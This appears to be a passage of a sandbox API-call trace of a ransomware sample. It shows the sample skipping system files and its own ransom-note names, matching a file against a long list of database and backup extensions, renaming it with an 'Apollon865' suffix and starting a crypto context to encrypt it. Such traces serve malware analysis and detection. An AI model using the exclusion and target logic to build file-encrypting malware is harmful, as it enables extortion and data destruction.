	[0053.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.746] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0053.746] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.746] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0053.746] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.746] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0053.747] CloseHandle (hObject=0x150) returned 1
	[0053.747] CloseHandle (hObject=0xc0) returned 1
	[0053.747] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.747] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.747] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.748] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0053.748] lstrlenW (lpString="desktop.ini") returned 11
	[0053.748] lstrlenW (lpString="C:\\Users\\Default\\Contacts\\Administrator.contact") returned 47
	[0053.748] lstrcpyW (in: lpString1=0x119e63c, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0053.748] lstrlenW (lpString="desktop.ini") returned 11
	[0053.748] lstrlenW (lpString="Apollon865") returned 10
	[0053.748] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0053.748] lstrlenW (lpString=".dll") returned 4
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0053.748] lstrlenW (lpString=".lnk") returned 4
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0053.748] lstrlenW (lpString=".ini") returned 4
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0053.748] lstrlenW (lpString=".sys") returned 4
	[0053.748] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0053.748] lstrlenW (lpString="desktop.ini") returned 11
	[0053.748] lstrlenW (lpString="bak") returned 3
	[0053.748] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0053.748] lstrlenW (lpString="ba_") returned 3
	[0053.748] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0053.749] lstrlenW (lpString="dbb") returned 3
	[0053.749] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0053.749] lstrlenW (lpString="vmdk") returned 4
	[0053.749] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0053.749] lstrlenW (lpString="rar") returned 3
	[0053.749] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0053.749] lstrlenW (lpString="zip") returned 3
	[0053.749] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0053.749] lstrlenW (lpString="tgz") returned 3
	[0053.749] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0053.749] lstrlenW (lpString="vbox") returned 4
	[0053.749] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0053.749] lstrlenW (lpString="vdi") returned 3
	[0053.749] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0053.749] lstrlenW (lpString="vhd") returned 3
	[0053.749] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0053.749] lstrlenW (lpString="vhdx") returned 4
	[0053.749] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0053.749] lstrlenW (lpString="avhd") returned 4
	[0053.749] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0053.749] lstrlenW (lpString="db") returned 2
	[0053.749] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0053.749] lstrlenW (lpString="db2") returned 3
	[0053.749] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0053.749] lstrlenW (lpString="db3") returned 3
	[0053.749] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0053.749] lstrlenW (lpString="dbf") returned 3
	[0053.749] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0053.749] lstrlenW (lpString="mdf") returned 3
	[0053.749] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0053.749] lstrlenW (lpString="mdb") returned 3
	[0053.749] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0053.749] lstrlenW (lpString="sql") returned 3
	[0053.749] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0053.749] lstrlenW (lpString="sqlite") returned 6
	[0053.750] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0053.750] lstrlenW (lpString="sqlite3") returned 7
	[0053.750] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0053.750] lstrlenW (lpString="sqlitedb") returned 8
	[0053.750] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0053.750] lstrlenW (lpString="xml") returned 3
	[0053.750] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0053.750] lstrlenW (lpString="$er") returned 3
	[0053.750] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0053.750] lstrlenW (lpString="4dd") returned 3
	[0053.750] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0053.750] lstrlenW (lpString="4dl") returned 3
	[0053.750] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0053.750] lstrlenW (lpString="^^^") returned 3
	[0053.750] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0053.750] lstrlenW (lpString="abs") returned 3
	[0053.750] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0053.750] lstrlenW (lpString="abx") returned 3
	[0053.750] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0053.750] lstrlenW (lpString="accdb") returned 5
	[0053.750] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0053.750] lstrlenW (lpString="accdc") returned 5
	[0053.750] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0053.750] lstrlenW (lpString="accde") returned 5
	[0053.750] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0053.750] lstrlenW (lpString="accdr") returned 5
	[0053.750] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0053.750] lstrlenW (lpString="accdt") returned 5
	[0053.750] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0053.750] lstrlenW (lpString="accdw") returned 5
	[0053.750] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0053.750] lstrlenW (lpString="accft") returned 5
	[0053.750] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0053.750] lstrlenW (lpString="adb") returned 3
	[0053.750] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0053.751] lstrlenW (lpString="adb") returned 3
	[0053.751] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0053.751] lstrlenW (lpString="ade") returned 3
	[0053.751] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0053.751] lstrlenW (lpString="adf") returned 3
	[0053.751] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0053.751] lstrlenW (lpString="adn") returned 3
	[0053.751] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0053.751] lstrlenW (lpString="adp") returned 3
	[0053.751] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0053.751] lstrlenW (lpString="alf") returned 3
	[0053.751] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0053.751] lstrlenW (lpString="ask") returned 3
	[0053.751] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0053.751] lstrlenW (lpString="btr") returned 3
	[0053.751] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0053.751] lstrlenW (lpString="cat") returned 3
	[0053.751] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0053.751] lstrlenW (lpString="cdb") returned 3
	[0053.751] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0053.751] lstrlenW (lpString="ckp") returned 3
	[0053.751] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0053.751] lstrlenW (lpString="cma") returned 3
	[0053.751] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0053.751] lstrlenW (lpString="cpd") returned 3
	[0053.751] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0053.751] lstrlenW (lpString="dacpac") returned 6
	[0053.751] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0053.751] lstrlenW (lpString="dad") returned 3
	[0053.751] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0053.751] lstrlenW (lpString="dadiagrams") returned 10
	[0053.751] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0053.751] lstrlenW (lpString="daschema") returned 8
	[0053.751] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0053.751] lstrlenW (lpString="db-journal") returned 10
	[0053.751] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0053.752] lstrlenW (lpString="db-shm") returned 6
	[0053.752] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0053.752] lstrlenW (lpString="db-wal") returned 6
	[0053.752] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0053.752] lstrlenW (lpString="dbc") returned 3
	[0053.752] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0053.752] lstrlenW (lpString="dbs") returned 3
	[0053.752] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0053.752] lstrlenW (lpString="dbt") returned 3
	[0053.752] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0053.752] lstrlenW (lpString="dbv") returned 3
	[0053.752] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0053.752] lstrlenW (lpString="dbx") returned 3
	[0053.752] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0053.752] lstrlenW (lpString="dcb") returned 3
	[0053.752] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0053.752] lstrlenW (lpString="dct") returned 3
	[0053.752] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0053.752] lstrlenW (lpString="dcx") returned 3
	[0053.752] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0053.752] lstrlenW (lpString="ddl") returned 3
	[0053.752] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0053.752] lstrlenW (lpString="dlis") returned 4
	[0053.752] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0053.752] lstrlenW (lpString="dp1") returned 3
	[0053.752] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0053.752] lstrlenW (lpString="dqy") returned 3
	[0053.752] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0053.752] lstrlenW (lpString="dsk") returned 3
	[0053.752] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0053.752] lstrlenW (lpString="dsn") returned 3
	[0053.752] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0053.752] lstrlenW (lpString="dtsx") returned 4
	[0053.752] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0053.752] lstrlenW (lpString="dxl") returned 3
	[0053.752] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0053.753] lstrlenW (lpString="eco") returned 3
	[0053.753] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0053.753] lstrlenW (lpString="ecx") returned 3
	[0053.753] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0053.753] lstrlenW (lpString="edb") returned 3
	[0053.753] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0053.753] lstrlenW (lpString="epim") returned 4
	[0053.753] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0053.753] lstrlenW (lpString="fcd") returned 3
	[0053.753] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0053.753] lstrlenW (lpString="fdb") returned 3
	[0053.753] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0053.753] lstrlenW (lpString="fic") returned 3
	[0053.753] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0053.753] lstrlenW (lpString="flexolibrary") returned 12
	[0053.753] lstrlenW (lpString="fm5") returned 3
	[0053.753] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0053.753] lstrlenW (lpString="fmp") returned 3
	[0053.753] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0053.753] lstrlenW (lpString="fmp12") returned 5
	[0053.753] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0053.753] lstrlenW (lpString="fmpsl") returned 5
	[0053.753] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0053.753] lstrlenW (lpString="fol") returned 3
	[0053.753] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0053.753] lstrlenW (lpString="fp3") returned 3
	[0053.753] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0053.753] lstrlenW (lpString="fp4") returned 3
	[0053.753] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0053.753] lstrlenW (lpString="fp5") returned 3
	[0053.753] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0053.753] lstrlenW (lpString="fp7") returned 3
	[0053.753] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0053.753] lstrlenW (lpString="fpt") returned 3
	[0053.753] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0053.753] lstrlenW (lpString="frm") returned 3
	[0053.754] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0053.754] lstrlenW (lpString="gdb") returned 3
	[0053.754] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0053.754] lstrlenW (lpString="gdb") returned 3
	[0053.754] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0053.754] lstrlenW (lpString="grdb") returned 4
	[0053.754] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0053.754] lstrlenW (lpString="gwi") returned 3
	[0053.754] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0053.754] lstrlenW (lpString="hdb") returned 3
	[0053.754] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0053.754] lstrlenW (lpString="his") returned 3
	[0053.754] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0053.754] lstrlenW (lpString="ib") returned 2
	[0053.754] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0053.754] lstrlenW (lpString="idb") returned 3
	[0053.754] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0053.754] lstrlenW (lpString="ihx") returned 3
	[0053.754] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0053.754] lstrlenW (lpString="itdb") returned 4
	[0053.754] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0053.754] lstrlenW (lpString="itw") returned 3
	[0053.754] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0053.754] lstrlenW (lpString="jet") returned 3
	[0053.754] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0053.754] lstrlenW (lpString="jtx") returned 3
	[0053.754] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0053.754] lstrlenW (lpString="kdb") returned 3
	[0053.754] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0053.754] lstrlenW (lpString="kexi") returned 4
	[0053.754] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0053.754] lstrlenW (lpString="kexic") returned 5
	[0053.754] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0053.754] lstrlenW (lpString="kexis") returned 5
	[0053.754] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0053.754] lstrlenW (lpString="lgc") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0053.755] lstrlenW (lpString="lwx") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0053.755] lstrlenW (lpString="maf") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0053.755] lstrlenW (lpString="maq") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0053.755] lstrlenW (lpString="mar") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0053.755] lstrlenW (lpString="marshal") returned 7
	[0053.755] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0053.755] lstrlenW (lpString="mas") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0053.755] lstrlenW (lpString="mav") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0053.755] lstrlenW (lpString="maw") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0053.755] lstrlenW (lpString="mdbhtml") returned 7
	[0053.755] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0053.755] lstrlenW (lpString="mdn") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0053.755] lstrlenW (lpString="mdt") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0053.755] lstrlenW (lpString="mfd") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0053.755] lstrlenW (lpString="mpd") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0053.755] lstrlenW (lpString="mrg") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0053.755] lstrlenW (lpString="mud") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0053.755] lstrlenW (lpString="mwb") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0053.755] lstrlenW (lpString="myd") returned 3
	[0053.755] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0053.755] lstrlenW (lpString="ndf") returned 3
	[0053.756] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0053.756] lstrlenW (lpString="nnt") returned 3
	[0053.756] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0053.756] lstrlenW (lpString="nrmlib") returned 6
	[0053.756] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0053.756] lstrlenW (lpString="ns2") returned 3
	[0053.756] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0053.756] lstrlenW (lpString="ns3") returned 3
	[0053.756] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0053.756] lstrlenW (lpString="ns4") returned 3
	[0053.756] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0053.756] lstrlenW (lpString="nsf") returned 3
	[0053.756] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0053.756] lstrlenW (lpString="nv") returned 2
	[0053.756] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0053.756] lstrlenW (lpString="nv2") returned 3
	[0053.756] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0053.756] lstrlenW (lpString="nwdb") returned 4
	[0053.756] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0053.756] lstrlenW (lpString="nyf") returned 3
	[0053.756] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0053.756] lstrlenW (lpString="odb") returned 3
	[0053.756] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0053.756] lstrlenW (lpString="odb") returned 3
	[0053.756] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0053.756] lstrlenW (lpString="oqy") returned 3
	[0053.756] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0053.756] lstrlenW (lpString="ora") returned 3
	[0053.756] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0053.756] lstrlenW (lpString="orx") returned 3
	[0053.756] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0053.756] lstrlenW (lpString="owc") returned 3
	[0053.756] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0053.756] lstrlenW (lpString="p96") returned 3
	[0053.756] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0053.757] lstrlenW (lpString="p97") returned 3
	[0053.757] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0053.757] lstrlenW (lpString="pan") returned 3
	[0053.757] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0053.757] lstrlenW (lpString="pdb") returned 3
	[0053.757] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0053.757] lstrlenW (lpString="pdm") returned 3
	[0053.757] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0053.757] lstrlenW (lpString="pnz") returned 3
	[0053.757] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0053.757] lstrlenW (lpString="qry") returned 3
	[0053.757] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0053.757] lstrlenW (lpString="qvd") returned 3
	[0053.757] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0053.757] lstrlenW (lpString="rbf") returned 3
	[0053.757] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0053.757] lstrlenW (lpString="rctd") returned 4
	[0053.757] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0053.757] lstrlenW (lpString="rod") returned 3
	[0053.757] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0053.757] lstrlenW (lpString="rodx") returned 4
	[0053.757] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0053.757] lstrlenW (lpString="rpd") returned 3
	[0053.757] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0053.757] lstrlenW (lpString="rsd") returned 3
	[0053.757] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0053.757] lstrlenW (lpString="sas7bdat") returned 8
	[0053.757] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0053.757] lstrlenW (lpString="sbf") returned 3
	[0053.757] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0053.757] lstrlenW (lpString="scx") returned 3
	[0053.757] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0053.757] lstrlenW (lpString="sdb") returned 3
	[0053.757] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0053.757] lstrlenW (lpString="sdc") returned 3
	[0053.757] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0053.758] lstrlenW (lpString="sdf") returned 3
	[0053.758] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0053.758] lstrlenW (lpString="sis") returned 3
	[0053.758] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0053.758] lstrlenW (lpString="spq") returned 3
	[0053.758] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0053.758] lstrlenW (lpString="te") returned 2
	[0053.758] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0053.758] lstrlenW (lpString="teacher") returned 7
	[0053.758] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0053.758] lstrlenW (lpString="tmd") returned 3
	[0053.758] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0053.758] lstrlenW (lpString="tps") returned 3
	[0053.758] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0053.758] lstrlenW (lpString="trc") returned 3
	[0053.758] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0053.758] lstrlenW (lpString="trc") returned 3
	[0053.758] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0053.758] lstrlenW (lpString="trm") returned 3
	[0053.758] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0053.758] lstrlenW (lpString="udb") returned 3
	[0053.758] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0053.758] lstrlenW (lpString="udl") returned 3
	[0053.758] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0053.758] lstrlenW (lpString="usr") returned 3
	[0053.758] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0053.758] lstrlenW (lpString="v12") returned 3
	[0053.758] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0053.758] lstrlenW (lpString="vis") returned 3
	[0053.758] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0053.758] lstrlenW (lpString="vpd") returned 3
	[0053.758] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0053.758] lstrlenW (lpString="vvv") returned 3
	[0053.758] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0053.759] lstrlenW (lpString="wdb") returned 3
	[0053.759] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0053.759] lstrlenW (lpString="wmdb") returned 4
	[0053.759] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0053.759] lstrlenW (lpString="wrk") returned 3
	[0053.759] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0053.759] lstrlenW (lpString="xdb") returned 3
	[0053.759] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0053.759] lstrlenW (lpString="xld") returned 3
	[0053.759] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0053.759] lstrlenW (lpString="xmlff") returned 5
	[0053.759] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0053.759] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Contacts\\desktop.ini.Apollon865") returned 48
	[0053.759] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Contacts\\desktop.ini" (normalized: "c:\\users\\default\\contacts\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Contacts\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\contacts\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0053.761] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\contacts\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.761] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=412) returned 1
	[0053.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.762] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
